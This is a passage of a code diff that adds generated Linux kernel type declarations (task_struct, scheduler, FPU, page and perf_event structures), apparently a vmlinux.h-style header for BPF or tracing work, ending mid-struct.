+struct refcount_struct { + atomic_t refs; +}; + +typedef struct refcount_struct refcount_t; + +struct llist_node { + struct llist_node *next; +}; + +struct __call_single_node { + struct llist_node llist; + union { + unsigned int u_flags; + atomic_t a_flags; + }; + u16 src; + u16 dst; +}; + +struct load_weight { + long unsigned int weight; + u32 inv_weight; +}; + +struct rb_node { + long unsigned int __rb_parent_color; + struct rb_node *rb_right; + struct rb_node *rb_left; +}; + +struct util_est { + unsigned int enqueued; + unsigned int ewma; +}; + +struct sched_avg { + u64 last_update_time; + u64 load_sum; + u64 runnable_sum; + u32 util_sum; + u32 period_contrib; + long unsigned int load_avg; + long unsigned int runnable_avg; + long unsigned int util_avg; + struct util_est util_est; +}; + +struct cfs_rq; + +struct sched_entity { + struct load_weight load; + struct rb_node run_node; + struct list_head group_node; + unsigned int on_rq; + u64 exec_start; + u64 sum_exec_runtime; + u64 vruntime; + u64 prev_sum_exec_runtime; + u64 nr_migrations; + int depth; + struct sched_entity *parent; + struct cfs_rq *cfs_rq; + struct cfs_rq *my_q; + long unsigned int runnable_weight; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + struct sched_avg avg; +}; + +struct sched_rt_entity { + struct list_head run_list; + long unsigned int timeout; + long unsigned int watchdog_stamp; + unsigned int time_slice; + short unsigned int on_rq; + short unsigned int on_list; + struct sched_rt_entity *back; +}; + +typedef s64 ktime_t; + +struct timerqueue_node { + struct rb_node node; + ktime_t expires; +}; + +enum hrtimer_restart { + HRTIMER_NORESTART = 0, + HRTIMER_RESTART = 1, +}; + +struct hrtimer_clock_base; + +struct hrtimer { + struct timerqueue_node node; + ktime_t _softexpires; + enum hrtimer_restart (*function)(struct hrtimer *); + struct hrtimer_clock_base *base; + u8 state; + u8 is_rel; + u8 is_soft; + u8 is_hard; +}; + +struct sched_dl_entity { + struct rb_node rb_node; + u64 dl_runtime; + u64 dl_deadline; + u64 dl_period; + u64 dl_bw; + u64 dl_density; + s64 runtime; + u64 deadline; + unsigned int flags; + unsigned int dl_throttled: 1; + unsigned int dl_yielded: 1; + unsigned int dl_non_contending: 1; + unsigned int dl_overrun: 1; + struct hrtimer dl_timer; + struct hrtimer inactive_timer; + struct sched_dl_entity *pi_se; +}; + +struct sched_statistics { + u64 wait_start; + u64 wait_max; + u64 wait_count; + u64 wait_sum; + u64 iowait_count; + u64 iowait_sum; + u64 sleep_start; + u64 sleep_max; + s64 sum_sleep_runtime; + u64 block_start; + u64 block_max; + s64 sum_block_runtime; + u64 exec_max; + u64 slice_max; + u64 nr_migrations_cold; + u64 nr_failed_migrations_affine; + u64 nr_failed_migrations_running; + u64 nr_failed_migrations_hot; + u64 nr_forced_migrations; + u64 nr_wakeups; + u64 nr_wakeups_sync; + u64 nr_wakeups_migrate; + u64 nr_wakeups_local; + u64 nr_wakeups_remote; + u64 nr_wakeups_affine; + u64 nr_wakeups_affine_attempts; + u64 nr_wakeups_passive; + u64 nr_wakeups_idle; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct cpumask { + long unsigned int bits[2]; +}; + +typedef struct cpumask cpumask_t; + +union rcu_special { + struct { + u8 blocked; + u8 need_qs; + u8 exp_hint; + u8 need_mb; + } b; + u32 s; +}; + +struct sched_info { + long unsigned int pcount; + long long unsigned int run_delay; + long long unsigned int last_arrival; + long long unsigned int last_queued; +}; + +struct plist_node { + int prio; + struct list_head prio_list; + struct list_head node_list; +}; + +enum timespec_type { + TT_NONE = 0, + TT_NATIVE = 1, + TT_COMPAT = 2, +}; + +struct old_timespec32; + +struct pollfd; + +struct restart_block { + long unsigned int arch_data; + long int (*fn)(struct restart_block *); + union { + struct { + u32 *uaddr; + u32 val; + u32 flags; + u32 bitset; + u64 time; + u32 *uaddr2; + } futex; + struct { + clockid_t clockid; + enum timespec_type type; + union { + struct __kernel_timespec *rmtp; + struct old_timespec32 *compat_rmtp; + }; + u64 expires; + } nanosleep; + struct { + struct pollfd *ufds; + int nfds; + int has_timeout; + long unsigned int tv_sec; + long unsigned int tv_nsec; + } poll; + }; +}; + +struct prev_cputime { + u64 utime; + u64 stime; + raw_spinlock_t lock; +}; + +struct rb_root { + struct rb_node *rb_node; +}; + +struct rb_root_cached { + struct rb_root rb_root; + struct rb_node *rb_leftmost; +}; + +struct timerqueue_head { + struct rb_root_cached rb_root; +}; + +struct posix_cputimer_base { + u64 nextevt; + struct timerqueue_head tqhead; +}; + +struct posix_cputimers { + struct posix_cputimer_base bases[3]; + unsigned int timers_active; + unsigned int expiry_active; +}; + +typedef atomic64_t atomic_long_t; + +struct optimistic_spin_queue { + atomic_t tail; +}; + +struct mutex { + atomic_long_t owner; + raw_spinlock_t wait_lock; + struct optimistic_spin_queue osq; + struct list_head wait_list; + void *magic; + struct lockdep_map dep_map; +}; + +struct posix_cputimers_work { + struct callback_head work; + struct mutex mutex; + unsigned int scheduled; +}; + +struct sem_undo_list; + +struct sysv_sem { + struct sem_undo_list *undo_list; +}; + +struct sysv_shm { + struct list_head shm_clist; +}; + +typedef struct { + long unsigned int sig[1]; +} sigset_t; + +struct sigpending { + struct list_head list; + sigset_t signal; +}; + +typedef struct { + uid_t val; +} kuid_t; + +struct seccomp_filter; + +struct seccomp { + int mode; + atomic_t filter_count; + struct seccomp_filter *filter; +}; + +struct syscall_user_dispatch { + char *selector; + long unsigned int offset; + long unsigned int len; + bool on_dispatch; +}; + +struct spinlock { + union { + struct raw_spinlock rlock; + struct { + u8 __padding[24]; + struct lockdep_map dep_map; + }; + }; +}; + +typedef struct spinlock spinlock_t; + +struct wake_q_node { + struct wake_q_node *next; +}; + +struct irqtrace_events { + unsigned int irq_events; + long unsigned int hardirq_enable_ip; + long unsigned int hardirq_disable_ip; + unsigned int hardirq_enable_event; + unsigned int hardirq_disable_event; + long unsigned int softirq_disable_ip; + long unsigned int softirq_enable_ip; + unsigned int softirq_disable_event; + unsigned int softirq_enable_event; +}; + +struct held_lock { + u64 prev_chain_key; + long unsigned int acquire_ip; + struct lockdep_map *instance; + struct lockdep_map *nest_lock; + unsigned int class_idx: 13; + unsigned int irq_context: 2; + unsigned int trylock: 1; + unsigned int read: 2; + unsigned int check: 1; + unsigned int hardirqs_off: 1; + unsigned int sync: 1; + unsigned int references: 11; + unsigned int pin_count; +}; + +struct task_io_accounting { + u64 rchar; + u64 wchar; + u64 syscr; + u64 syscw; + u64 read_bytes; + u64 write_bytes; + u64 cancelled_write_bytes; +}; + +typedef struct { + long unsigned int bits[1]; +} nodemask_t; + +struct seqcount { + unsigned int sequence; + struct lockdep_map dep_map; +}; + +typedef struct seqcount seqcount_t; + +struct seqcount_spinlock { + seqcount_t seqcount; + spinlock_t *lock; +}; + +typedef struct seqcount_spinlock seqcount_spinlock_t; + +struct arch_tlbflush_unmap_batch { + struct cpumask cpumask; +}; + +struct tlbflush_unmap_batch { + struct arch_tlbflush_unmap_batch arch; + bool flush_required; + bool writable; +}; + +struct page_frag { + struct page *page; + __u32 offset; + __u32 size; +}; + +struct kmap_ctrl {}; + +struct timer_list { + struct hlist_node entry; + long unsigned int expires; + void (*function)(struct timer_list *); + u32 flags; + struct lockdep_map lockdep_map; +}; + +struct llist_head { + struct llist_node *first; +}; + +struct desc_struct { + u16 limit0; + u16 base0; + u16 base1: 8; + u16 type: 4; + u16 s: 1; + u16 dpl: 2; + u16 p: 1; + u16 limit1: 4; + u16 avl: 1; + u16 l: 1; + u16 d: 1; + u16 g: 1; + u16 base2: 8; +}; + +struct fpu_state_perm { + u64 __state_perm; + unsigned int __state_size; + unsigned int __user_state_size; +}; + +struct fregs_state { + u32 cwd; + u32 swd; + u32 twd; + u32 fip; + u32 fcs; + u32 foo; + u32 fos; + u32 st_space[20]; + u32 status; +}; + +struct fxregs_state { + u16 cwd; + u16 swd; + u16 twd; + u16 fop; + union { + struct { + u64 rip; + u64 rdp; + }; + struct { + u32 fip; + u32 fcs; + u32 foo; + u32 fos; + }; + }; + u32 mxcsr; + u32 mxcsr_mask; + u32 st_space[32]; + u32 xmm_space[64]; + u32 padding[12]; + union { + u32 padding1[12]; + u32 sw_reserved[12]; + }; +}; + +struct swregs_state { + u32 cwd; + u32 swd; + u32 twd; + u32 fip; + u32 fcs; + u32 foo; + u32 fos; + u32 st_space[20]; + u8 ftop; + u8 changed; + u8 lookahead; + u8 no_update; + u8 rm; + u8 alimit; + struct math_emu_info *info; + u32 entry_eip; +}; + +struct xstate_header { + u64 xfeatures; + u64 xcomp_bv; + u64 reserved[6]; +}; + +struct xregs_state { + struct fxregs_state i387; + struct xstate_header header; + u8 extended_state_area[0]; +}; + +union fpregs_state { + struct fregs_state fsave; + struct fxregs_state fxsave; + struct swregs_state soft; + struct xregs_state xsave; + u8 __padding[4096]; +}; + +struct fpstate { + unsigned int size; + unsigned int user_size; + u64 xfeatures; + u64 user_xfeatures; + u64 xfd; + unsigned int is_valloc: 1; + unsigned int is_guest: 1; + unsigned int is_confidential: 1; + unsigned int in_use: 1; + long: 64; + long: 64; + long: 64; + union fpregs_state regs; +}; + +struct fpu { + unsigned int last_cpu; + long unsigned int avx512_timestamp; + struct fpstate *fpstate; + struct fpstate *__task_fpstate; + struct fpu_state_perm perm; + struct fpu_state_perm guest_perm; + struct fpstate __fpstate; +}; + +struct perf_event; + +struct io_bitmap; + +struct thread_struct { + struct desc_struct tls_array[3]; + long unsigned int sp; + short unsigned int es; + short unsigned int ds; + short unsigned int fsindex; + short unsigned int gsindex; + long unsigned int fsbase; + long unsigned int gsbase; + struct perf_event *ptrace_bps[4]; + long unsigned int virtual_dr6; + long unsigned int ptrace_dr7; + long unsigned int cr2; + long unsigned int trap_nr; + long unsigned int error_code; + struct io_bitmap *io_bitmap; + long unsigned int iopl_emul; + unsigned int iopl_warn: 1; + unsigned int sig_on_uaccess_err: 1; + u32 pkru; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + struct fpu fpu; +}; + +struct sched_class; + +struct task_group; + +struct rcu_node; + +struct mm_struct; + +struct pid; + +struct completion; + +struct cred; + +struct key; + +struct nameidata; + +struct fs_struct; + +struct files_struct; + +struct io_uring_task; + +struct nsproxy; + +struct signal_struct; + +struct sighand_struct; + +struct audit_context; + +struct rt_mutex_waiter; + +struct mutex_waiter; + +struct bio_list; + +struct blk_plug; + +struct reclaim_state; + +struct backing_dev_info; + +struct io_context; + +struct capture_control; + +struct kernel_siginfo; + +typedef struct kernel_siginfo kernel_siginfo_t; + +struct css_set; + +struct robust_list_head; + +struct futex_pi_state; + +struct perf_event_context; + +struct mempolicy; + +struct numa_group; + +struct rseq; + +struct task_delay_info; + +struct ftrace_ret_stack; + +struct mem_cgroup; + +struct gendisk; + +struct uprobe_task; + +struct vm_struct; + +struct bpf_local_storage; + +struct bpf_run_ctx; + +struct task_struct { + struct thread_info thread_info; + unsigned int __state; + void *stack; + refcount_t usage; + unsigned int flags; + unsigned int ptrace; + int on_cpu; + struct __call_single_node wake_entry; + unsigned int wakee_flips; + long unsigned int wakee_flip_decay_ts; + struct task_struct *last_wakee; + int recent_used_cpu; + int wake_cpu; + int on_rq; + int prio; + int static_prio; + int normal_prio; + unsigned int rt_priority; + struct sched_entity se; + struct sched_rt_entity rt; + struct sched_dl_entity dl; + const struct sched_class *sched_class; + struct task_group *sched_task_group; + long: 64; + long: 64; + long: 64; + long: 64; + struct sched_statistics stats; + unsigned int btrace_seq; + unsigned int policy; + int nr_cpus_allowed; + const cpumask_t *cpus_ptr; + cpumask_t *user_cpus_ptr; + cpumask_t cpus_mask; + void *migration_pending; + short unsigned int migration_disabled; + short unsigned int migration_flags; + int rcu_read_lock_nesting; + union rcu_special rcu_read_unlock_special; + struct list_head rcu_node_entry; + struct rcu_node *rcu_blocked_node; + long unsigned int rcu_tasks_nvcsw; + u8 rcu_tasks_holdout; + u8 rcu_tasks_idx; + int rcu_tasks_idle_cpu; + struct list_head rcu_tasks_holdout_list; + int trc_reader_nesting; + int trc_ipi_to_cpu; + union rcu_special trc_reader_special; + struct list_head trc_holdout_list; + struct list_head trc_blkd_node; + int trc_blkd_cpu; + struct sched_info sched_info; + struct list_head tasks; + struct plist_node pushable_tasks; + struct rb_node pushable_dl_tasks; + struct mm_struct *mm; + struct mm_struct *active_mm; + int exit_state; + int exit_code; + int exit_signal; + int pdeath_signal; + long unsigned int jobctl; + unsigned int personality; + unsigned int sched_reset_on_fork: 1; + unsigned int sched_contributes_to_load: 1; + unsigned int sched_migrated: 1; + long: 29; + unsigned int sched_remote_wakeup: 1; + unsigned int in_execve: 1; + unsigned int in_iowait: 1; + unsigned int restore_sigmask: 1; + unsigned int in_user_fault: 1; + unsigned int brk_randomized: 1; + unsigned int no_cgroup_migration: 1; + unsigned int frozen: 1; + unsigned int use_memdelay: 1; + unsigned int in_eventfd: 1; + unsigned int reported_split_lock: 1; + unsigned int in_thrashing: 1; + long unsigned int atomic_flags; + struct restart_block restart_block; + pid_t pid; + pid_t tgid; + long unsigned int stack_canary; + struct task_struct *real_parent; + struct task_struct *parent; + struct list_head children; + struct list_head sibling; + struct task_struct *group_leader; + struct list_head ptraced; + struct list_head ptrace_entry; + struct pid *thread_pid; + struct hlist_node pid_links[4]; + struct list_head thread_group; + struct list_head thread_node; + struct completion *vfork_done; + int *set_child_tid; + int *clear_child_tid; + void *worker_private; + u64 utime; + u64 stime; + u64 gtime; + struct prev_cputime prev_cputime; + long unsigned int nvcsw; + long unsigned int nivcsw; + u64 start_time; + u64 start_boottime; + long unsigned int min_flt; + long unsigned int maj_flt; + struct posix_cputimers posix_cputimers; + struct posix_cputimers_work posix_cputimers_work; + const struct cred *ptracer_cred; + const struct cred *real_cred; + const struct cred *cred; + struct key *cached_requested_key; + char comm[16]; + struct nameidata *nameidata; + struct sysv_sem sysvsem; + struct sysv_shm sysvshm; + long unsigned int last_switch_count; + long unsigned int last_switch_time; + struct fs_struct *fs; + struct files_struct *files; + struct io_uring_task *io_uring; + struct nsproxy *nsproxy; + struct signal_struct *signal; + struct sighand_struct *sighand; + sigset_t blocked; + sigset_t real_blocked; + sigset_t saved_sigmask; + struct sigpending pending; + long unsigned int sas_ss_sp; + size_t sas_ss_size; + unsigned int sas_ss_flags; + struct callback_head *task_works; + struct audit_context *audit_context; + kuid_t loginuid; + unsigned int sessionid; + struct seccomp seccomp; + struct syscall_user_dispatch syscall_dispatch; + u64 parent_exec_id; + u64 self_exec_id; + spinlock_t alloc_lock; + raw_spinlock_t pi_lock; + struct wake_q_node wake_q; + struct rb_root_cached pi_waiters; + struct task_struct *pi_top_task; + struct rt_mutex_waiter *pi_blocked_on; + struct mutex_waiter *blocked_on; + int non_block_count; + struct irqtrace_events irqtrace; + unsigned int hardirq_threaded; + u64 hardirq_chain_key; + int softirqs_enabled; + int softirq_context; + int irq_config; + u64 curr_chain_key; + int lockdep_depth; + unsigned int lockdep_recursion; + struct held_lock held_locks[48]; + void *journal_info; + struct bio_list *bio_list; + struct blk_plug *plug; + struct reclaim_state *reclaim_state; + struct backing_dev_info *backing_dev_info; + struct io_context *io_context; + struct capture_control *capture_control; + long unsigned int ptrace_message; + kernel_siginfo_t *last_siginfo; + struct task_io_accounting ioac; + u64 acct_rss_mem1; + u64 acct_vm_mem1; + u64 acct_timexpd; + nodemask_t mems_allowed; + seqcount_spinlock_t mems_allowed_seq; + int cpuset_mem_spread_rotor; + int cpuset_slab_spread_rotor; + struct css_set *cgroups; + struct list_head cg_list; + struct robust_list_head *robust_list; + struct list_head pi_state_list; + struct futex_pi_state *pi_state_cache; + struct mutex futex_exit_mutex; + unsigned int futex_state; + struct perf_event_context *perf_event_ctxp; + struct mutex perf_event_mutex; + struct list_head perf_event_list; + struct mempolicy *mempolicy; + short int il_prev; + short int pref_node_fork; + int numa_scan_seq; + unsigned int numa_scan_period; + unsigned int numa_scan_period_max; + int numa_preferred_nid; + long unsigned int numa_migrate_retry; + u64 node_stamp; + u64 last_task_numa_placement; + u64 last_sum_exec_runtime; + struct callback_head numa_work; + struct numa_group *numa_group; + long unsigned int *numa_faults; + long unsigned int total_numa_faults; + long unsigned int numa_faults_locality[3]; + long unsigned int numa_pages_migrated; + struct rseq *rseq; + u32 rseq_len; + u32 rseq_sig; + long unsigned int rseq_event_mask; + int mm_cid; + int last_mm_cid; + int migrate_from_cpu; + int mm_cid_active; + struct callback_head cid_work; + struct tlbflush_unmap_batch tlb_ubc; + struct pipe_inode_info *splice_pipe; + struct page_frag task_frag; + struct task_delay_info *delays; + int make_it_fail; + unsigned int fail_nth; + int nr_dirtied; + int nr_dirtied_pause; + long unsigned int dirty_paused_when; + u64 timer_slack_ns; + u64 default_timer_slack_ns; + int curr_ret_stack; + int curr_ret_depth; + struct ftrace_ret_stack *ret_stack; + long long unsigned int ftrace_timestamp; + atomic_t trace_overrun; + atomic_t tracing_graph_pause; + long unsigned int trace_recursion; + struct mem_cgroup *memcg_in_oom; + gfp_t memcg_oom_gfp_mask; + int memcg_oom_order; + unsigned int memcg_nr_pages_over_high; + struct mem_cgroup *active_memcg; + struct gendisk *throttle_disk; + struct uprobe_task *utask; + struct kmap_ctrl kmap_ctrl; + long unsigned int task_state_change; + struct callback_head rcu; + refcount_t rcu_users; + int pagefault_disabled; + struct task_struct *oom_reaper_list; + struct timer_list oom_reaper_timer; + struct vm_struct *stack_vm_area; + refcount_t stack_refcount; + void *security; + struct bpf_local_storage *bpf_storage; + struct bpf_run_ctx *bpf_ctx; + void *mce_vaddr; + __u64 mce_kflags; + u64 mce_addr; + __u64 mce_ripv: 1; + __u64 mce_whole_page: 1; + __u64 __mce_reserved: 62; + struct callback_head mce_kill_me; + int mce_count; + struct llist_head kretprobe_instances; + struct llist_head rethooks; + struct callback_head l1d_flush_kill; + long: 64; + struct thread_struct thread; +}; + +struct pcpu_hot { + union { + struct { + struct task_struct *current_task; + int preempt_count; + int cpu_number; + u64 call_depth; + long unsigned int top_of_stack; + void *hardirq_stack_ptr; + u16 softirq_pending; + bool hardirq_stack_inuse; + }; + u8 pad[64]; + }; +}; + +struct jump_entry { + s32 code; + s32 target; + long int key; +}; + +struct static_key_mod; + +struct static_key { + atomic_t enabled; + union { + long unsigned int type; + struct jump_entry *entries; + struct static_key_mod *next; + }; +}; + +struct static_key_true { + struct static_key key; +}; + +struct static_key_false { + struct static_key key; +}; + +struct range { + u64 start; + u64 end; +}; + +typedef long unsigned int pteval_t; + +typedef long unsigned int pmdval_t; + +typedef long unsigned int pudval_t; + +typedef long unsigned int p4dval_t; + +typedef long unsigned int pgdval_t; + +typedef long unsigned int pgprotval_t; + +typedef struct { + pteval_t pte; +} pte_t; + +typedef struct { + pmdval_t pmd; +} pmd_t; + +struct pgprot { + pgprotval_t pgprot; +}; + +typedef struct pgprot pgprot_t; + +typedef struct { + pgdval_t pgd; +} pgd_t; + +typedef struct { + p4dval_t p4d; +} p4d_t; + +typedef struct { + pudval_t pud; +} pud_t; + +typedef struct page *pgtable_t; + +struct address_space; + +struct page_pool; + +struct dev_pagemap; + +struct page { + long unsigned int flags; + union { + struct { + union { + struct list_head lru; + struct { + void *__filler; + unsigned int mlock_count; + }; + struct list_head buddy_list; + struct list_head pcp_list; + }; + struct address_space *mapping; + union { + long unsigned int index; + long unsigned int share; + }; + long unsigned int private; + }; + struct { + long unsigned int pp_magic; + struct page_pool *pp; + long unsigned int _pp_mapping_pad; + long unsigned int dma_addr; + union { + long unsigned int dma_addr_upper; + atomic_long_t pp_frag_count; + }; + }; + struct { + long unsigned int compound_head; + }; + struct { + long unsigned int _pt_pad_1; + pgtable_t pmd_huge_pte; + long unsigned int _pt_pad_2; + union { + struct mm_struct *pt_mm; + atomic_t pt_frag_refcount; + }; + spinlock_t *ptl; + }; + struct { + struct dev_pagemap *pgmap; + void *zone_device_data; + }; + struct callback_head callback_head; + }; + union { + atomic_t _mapcount; + unsigned int page_type; + }; + atomic_t _refcount; + long unsigned int memcg_data; +}; + +struct bug_entry { + int bug_addr_disp; + int file_disp; + short unsigned int line; + short unsigned int flags; +}; + +typedef struct cpumask cpumask_var_t[1]; + +struct tracepoint_func { + void *func; + void *data; + int prio; +}; + +struct tracepoint { + const char *name; + struct static_key key; + struct static_call_key *static_call_key; + void *static_call_tramp; + void *iterator; + int (*regfunc)(); + void (*unregfunc)(); + struct tracepoint_func *funcs; +}; + +typedef const int tracepoint_ptr_t; + +struct bpf_raw_event_map { + struct tracepoint *tp; + void *bpf_func; + u32 num_args; + u32 writable_size; + long: 64; +}; + +struct desc_ptr { + short unsigned int size; + long unsigned int address; +} __attribute__((packed)); + +struct orc_entry { + s16 sp_offset; + s16 bp_offset; + unsigned int sp_reg: 4; + unsigned int bp_reg: 4; + unsigned int type: 3; + unsigned int signal: 1; +} __attribute__((packed)); + +typedef u8 retpoline_thunk_t[32]; + +struct fpu_state_config { + unsigned int max_size; + unsigned int default_size; + u64 max_features; + u64 default_features; + u64 legacy_features; +}; + +struct cpuinfo_x86 { + __u8 x86; + __u8 x86_vendor; + __u8 x86_model; + __u8 x86_stepping; + int x86_tlbsize; + __u32 vmx_capability[5]; + __u8 x86_virt_bits; + __u8 x86_phys_bits; + __u8 x86_coreid_bits; + __u8 cu_id; + __u32 extended_cpuid_level; + int cpuid_level; + union { + __u32 x86_capability[22]; + long unsigned int x86_capability_alignment; + }; + char x86_vendor_id[16]; + char x86_model_id[64]; + unsigned int x86_cache_size; + int x86_cache_alignment; + int x86_cache_max_rmid; + int x86_cache_occ_scale; + int x86_cache_mbm_width_offset; + int x86_power; + long unsigned int loops_per_jiffy; + u64 ppin; + u16 x86_max_cores; + u16 apicid; + u16 initial_apicid; + u16 x86_clflush_size; + u16 booted_cores; + u16 phys_proc_id; + u16 logical_proc_id; + u16 cpu_core_id; + u16 cpu_die_id; + u16 logical_die_id; + u16 cpu_index; + bool smt_active; + u32 microcode; + u8 x86_cache_bits; + unsigned int initialized: 1; +}; + +struct seq_operations { + void * (*start)(struct seq_file *, loff_t *); + void (*stop)(struct seq_file *, void *); + void * (*next)(struct seq_file *, void *, loff_t *); + int (*show)(struct seq_file *, void *); +}; + +struct x86_hw_tss { + u32 reserved1; + u64 sp0; + u64 sp1; + u64 sp2; + u64 reserved2; + u64 ist[7]; + u32 reserved3; + u32 reserved4; + u16 reserved5; + u16 io_bitmap_base; +} __attribute__((packed)); + +struct entry_stack { + char stack[4096]; +}; + +struct entry_stack_page { + struct entry_stack stack; +}; + +struct x86_io_bitmap { + u64 prev_sequence; + unsigned int prev_max; + long unsigned int bitmap[1025]; + long unsigned int mapall[1025]; +}; + +struct tss_struct { + struct x86_hw_tss x86_tss; + struct x86_io_bitmap io_bitmap; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct fixed_percpu_data { + char gs_base[40]; + long unsigned int stack_canary; +}; + +enum perf_event_state { + PERF_EVENT_STATE_DEAD = -4, + PERF_EVENT_STATE_EXIT = -3, + PERF_EVENT_STATE_ERROR = -2, + PERF_EVENT_STATE_OFF = -1, + PERF_EVENT_STATE_INACTIVE = 0, + PERF_EVENT_STATE_ACTIVE = 1, +}; + +typedef struct { + atomic_long_t a; +} local_t; + +typedef struct { + local_t a; +} local64_t; + +struct perf_event_attr { + __u32 type; + __u32 size; + __u64 config; + union { + __u64 sample_period; + __u64 sample_freq; + }; + __u64 sample_type; + __u64 read_format; + __u64 disabled: 1; + __u64 inherit: 1; + __u64 pinned: 1; + __u64 exclusive: 1; + __u64 exclude_user: 1; + __u64 exclude_kernel: 1; + __u64 exclude_hv: 1; + __u64 exclude_idle: 1; + __u64 mmap: 1; + __u64 comm: 1; + __u64 freq: 1; + __u64 inherit_stat: 1; + __u64 enable_on_exec: 1; + __u64 task: 1; + __u64 watermark: 1; + __u64 precise_ip: 2; + __u64 mmap_data: 1; + __u64 sample_id_all: 1; + __u64 exclude_host: 1; + __u64 exclude_guest: 1; + __u64 exclude_callchain_kernel: 1; + __u64 exclude_callchain_user: 1; + __u64 mmap2: 1; + __u64 